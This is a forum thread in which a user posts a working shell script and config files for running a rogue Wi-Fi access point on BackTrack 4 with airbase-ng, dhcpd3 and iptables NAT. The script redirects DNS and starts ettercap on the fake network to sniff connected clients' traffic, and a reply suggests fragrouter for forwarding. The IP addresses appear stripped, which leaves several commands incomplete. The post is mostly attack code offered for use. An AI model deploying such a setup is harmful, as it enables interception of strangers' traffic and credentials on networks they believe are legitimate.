Jump to content

Airbase Ap Tutorial


Recommended Posts

Ok, first off this code is from Deathray's post here http://forums.remote-exploit.org/backtrack...g-tutorial.html

The code didn’t work for me with the new dhcp3 and bt4 so I re-did some work and got it working. So here are my changes.

I am using eth0 for my internet connection and wlan0 for the ap


You need to edit your /etc/dhcp3/dhcpd.conf file. I am using the following:

 option domain-name-servers;

default-lease-time 600;
max-lease-time 7200;

ddns-update-style none;


log-facility local7;

subnet netmask {
  option routers;
  option domain-name-servers,;


Edit your interface file at /etc/network/interfaces

Mine looks like this:

 auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth1
iface eth1 inet dhcp

auto eth2
iface eth2 inet dhcp

auto ath0
iface ath0 inet dhcp

auto wlan0
iface wlan0 inet static


Use this code in an .sh file to run it all with one click

kill `cat /var/run/dhcpd.pid`
killall -9 dhcpd3 airbase-ng ettercap
airmon-ng stop wlan0
ifconfig wlan0 down
airmon-ng start wlan0
modprobe tun
konsole -e airbase-ng -e wifitest -v mon0 &
sleep 10
ifconfig at0 up
ifconfig at0 netmask 
ifconfig at0 mtu 1400
route add -net netmask gw
mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/
sleep 5
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcd.pid at0
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to
echo > /var/lib/dhcp3/dhcpd.leases
konsole -e dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0
konsole -e ettercap -T -q -p -i at0 // // &
sleep 3

That is all and it works fine for me. But for those who are familiar with this, go ahead and look through and find some places to change, i have only been doing this for a few days. Remember credit goes to Deathray, i just changed it to work with dchp3 and bt4 on my machine.

Link to comment
Share on other sites

I used fragrouter to forward my packets between interfaces (fragrouter -E1) and used GADMIN for my dhcp configuration. Easier in my opinion and less code to type.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...